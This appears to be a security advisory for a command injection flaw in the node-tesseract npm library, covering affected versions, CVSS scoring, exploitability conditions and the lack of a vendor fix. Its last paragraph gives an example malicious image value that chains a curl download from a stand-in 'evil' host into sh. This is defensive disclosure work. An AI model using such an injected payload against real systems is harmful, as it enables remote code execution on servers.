node-tesseract CVE-2026-117511

Requires a consuming application using node-tesseract 0.2.0-0.2.7 that passes attacker-controlled data into the 'image' argument of the process() function without sanitization; the Command Builder concatenates this value into the Tesseract OCR shell invocation, so a value containing shell metacharacters triggers OS command injection. Limiting factors: the flaw is in a library, so it is only exploitable where the application actually exposes the image parameter to untrusted input and reaches process() - it is not exploitable against the package in isolation; authentication and network reachability depend entirely on that host application. No fixed version is available, as the project has not responded to the issue report.

This is a CWE-78 OS command injection in the desmondmorris node-tesseract npm library (versions 0.2.0 through 0.2.7), reachable through the unsanitized 'image' argument of the process() function in lib/tesseract.js. The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L, score 5.5, medium) with E:P reflects VulDB's scoring, which rates confidentiality, integrity and availability impact as only Low - this conflicts with the typical consequence of a CWE-78 flaw, where injecting shell metacharacters yields arbitrary OS command execution under the Node process privileges (normally High impact); the discrepancy should be reconciled with the vendor, who has not responded. Exploitation signals are modest: no CISA KEV listing, no EPSS probability provided in the input, and the public artifact is a GitHub issue reference that is not verified as working exploit code (E:P / proof-of-concept). The vuln.today decision label is 'this_month', indicating a near-term rather than emergency priority. Crucially, node-tesseract is a library: the AV:N and PR:N metrics are inherited from whatever consuming application exposes the image parameter to untrusted input, not intrinsic to the package - real-world risk is therefore gated on integration patterns, so this is a genuine but conditional priority rather than a broadly wormable internet-facing bug. No fixed version exists because the project was notified via an issue report but has not responded.

An application built on node-tesseract (≤0.2.7) passes a user-supplied filename or path into the 'image' argument of process(), which is concatenated into the Tesseract OCR shell command. An attacker submits a value containing shell metacharacters (for example an image field like foo.png; curl http://evil/x | sh), causing the injected command to execute on the server with the Node process's privileges. A public PoC reference exists (the vendor GitHub issue #72); it is not verified as working exploit code.